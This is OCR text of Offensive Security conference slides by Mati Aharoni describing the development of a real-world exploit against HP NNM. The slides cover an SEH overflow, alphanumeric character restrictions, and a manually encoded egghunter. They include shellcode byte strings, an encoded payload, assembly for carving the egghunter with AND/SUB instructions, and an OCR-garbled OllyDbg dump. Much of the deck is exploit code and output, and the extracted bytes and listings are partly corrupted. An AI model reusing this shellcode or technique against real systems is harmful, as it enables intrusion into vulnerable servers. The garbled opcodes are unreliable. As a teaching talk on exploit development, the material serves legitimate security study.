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Mati Aharoni — Offensive Security

“SIMNU%521*TX-1MUU-1KUU-5QUUP\AASJ"
"MNU%$521*-!0U0U-!TUU-IOUmPAASIMNUSO"
"21*-glau-g!au-oGSePAASIMNUS521*-D"
"A~X-D4~X-H3xTPAASIMNUS521*-gzlE-1"
"z1E-oRHEPAASJMNU%521*-3s1--331-—-""
"TC1PAASIMNU%521*-E1wE-E1GE-tEtLFPA"
"ASIMNUS521*-R222-1111-nZJ2PAASIMN"
"U%521*-1-wD-1-wD-8SGwP"”

“The quieter you become, the more you are able to hear.”
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e Ownage via Oday is 133t!

* Real World Exploit Development challenges.

* Live session overview of the HP NNM exploit development cycle.
* The experience was so horrible | had to share it.

* Lots of olly.

“The quieter you become, the more you are able to hear.”
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Find the bug .

Figuring out it’s a SEH.

Figuring out Alpha Numeric restrictions for first payload.

Finding an “alternate” short jump over RET address.

Finding a place in the buffer / memory for our second final payload.
Figuring out that an egghunter would be ideal as 1% payload.

Figuring out that we need to manually encode our shellcode.

“The quieter you become, the more you are able to hear.”
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e Figuring out the allowed instruction sets.

e Aligning EAX with stack location where shellcode will be decoded.
* “Encoding” the egghunter using AND, SUB ,ADD.

* “Decoding” the egghunter and PUSHing it onto the stack.

* Running the egghunter.

* Hitting our second and final payload.

* Dang it, give me a shell!

“The quieter you become, the more you are able to hear.”
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\x01\x02\x03\x04\x05\x06\x07\x08\x09\x31\x32\x33\x34\x35\x36\x37
\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a
\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a
\x5b\x5c\x5d\x5e\x5£f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a
\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a
\x7b\x7c\x7d\x7e\x7f

\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41
\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42
\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49

\xeX

“The quieter you become, the more you are able to hear.”
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We will align the stack to the end of our buffer.

We proceed to carve out our egghunter payload in memory, using a limited
instruction set.

\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74
\xef\xb8 \x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

“The quieter you become, the more you are able to hear.”
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We will align the stack to the end of our buffer. We proceed to carve out our
egghunter payload in memory, using a limited instruction set

25
25

54
58

2D
2D
2D

50
5C

4A4D4EDS
3532312A

664D5555
664B5555
6A505555

AND EAX, 554E4D4A
AND EAX,2A313235

PUSH ESP
POP EAX

SUB EAX, 55554D66
SUB EAX, 55554B66
SUB EAX, 5555506A

i
i

Zero out EAX
Zero out EAX

Put address of ESP in EAX
Align EAX to end of buffer

This is where the egghunter
will be decoded

PUSH EAX # push the offset address to stack
POP ESP # align ESP to this address

“The quieter you become, the more you are able to hear.”
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We will align the stack to the end of our buffer. We proceed to carve out our
egghunter payload in memory, using a limited instruction set

25 4A4D4ES55 AND EAX, 554E4D4A zero out EAX

25 3532312A AND EAX,2A313235 zero out EAX

2D 21555555 SUB EAX, 55555521 carve out last 4 bytes (1)

2D 21545555 SUB EAX, 55555421 carve out last 4 bytes (2)

2D 496F556D SUB EAX,6D556F49 carve out last 4 bytes (3)

50 PUSH EAX push on to the stack

\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74
\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf

“The quieter you become, the more you are able to hear.”
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OllyDbg - ovas.exe - [ - thread 0O00DDE1C]

@ File Wiew Debug Plugins Opkions ‘Window Help

Bl x| win| wilvi &4 ] o MHJJJEQHEHJﬂJ j

TOSCFECT THC EDI ———————
{RSEFEES INE EDI Jistess 7

{RSEFEES 4A404EEE AND ER, SE4E4D40 SRR . EDISECTL
{RIEFECE SE22212A AMD ER. 2212225 ErpoEDmm Jun.e0ozetrl
1835FERS PUSH _ESF PCEZEEEZ ntdll. POEPEEES
{RSEFERA FOF EGN EoEEERe

1BEEFEES E£B4055ES SUB ERY, 55554068 1asErrhd

1REEFEER EB4EEEEE ZUB EQY,SEES4EED LossEene

{RZEFEEF EECHECEE SUE ERY,CEESEHEE e

{RSEFE 74 EAN

{RSEFE TS ESP |B3EFERE

1835FEr e Fess SZbit BIFFFFFFFF)

{BIEFETT -
1 SZbit BIFFFFFFFF)
1B35FETS 404D04ESE ER, SE4E4D4A 23bit BiFFFFFFFF)

1AZEFE?D SE3F212A ERH, 2A313235 !
1G35FESZ| 20 21555555 ER}, BEEESE21 2 el iR L R
1AZEFEET Z1E4EEEE ER3. EEEEEAZ1 aant

1AZEFEEC 49EFEEED ERk. 6DEEEF4D

e ; ERROR_PROC_MOT_FOUND
{RZEFESS ECH BEEEEZI7 (MO, E,ME,BE,S,PE,L,LE
1RZEFES4 4R404EEE ER, SE4E4O4H N
1AZEFES2 SEIZ2I2A ERH, 2AZ13235 e
1AZEFESE FIZ1E17E ERH, PSE12171 e
1AZEFEAS FIZ1E17E ERH. 7PEE12171 S
1B3EFEQS EF47EREE EA, GEE34 FEF N

empty
1A3EFEAD A el

SHOEEAA8E8EEEER005E

1B2EFEQF Ch EMptY
{BEEFEE 404D4EEE ERi, EE4E4O4A SRBIE SRR T Hon e el

F |

1835FEES B5232212A EAX, 2A313235
5 BEZE Cond @B @ @ @ Err @ @ 1 8

1825FEEA 4441FESS ERX, S27FE4144
1835FEEF 44347ESS E ER, 5ETES444 B27F Prec MEAR,52 Hazk 11

ECH=EOBEEC T L L jum. BOSEECTL)

m AEEATEAE
Address ASCIT 2K 1AZEFFfe| EFFFEFYS

13eFFAg SIERRRREE 1GSEFFAC| 41414141
1oaerERd STEEEE 1RZEFFED| 41414141
1BIEFFAC AARAARAA

{BEEFFES RARAARAA 1BISFFE4| 41414141

1A35FFES| 41414141
1B3EFFEC L] AsOuDocs
1BZEFFC4 & ACodun am 1A35FFEBC| FedF2F41

=t 1835FFCA| 7TIESEF44
1SeFFo 3 Loy 1A3EFFC4| G42FazaF
1835FFOC Sunrlapw 183EFFCE| BDE16EFS
1825FFE4 B 1R3IEFFCC| E95663269
1835FFEC —1 1@3EFFOE| 2F7377ES
162EFFF4 4] * § 1A3EFFO4| 74537664

| Paused

“The quieter you become, the more you are able to hear.”
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“The quieter you become, the more you are able to hear.”
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* Thank you!

e Questions ?

“The quieter you become, the more you are able to hear.”




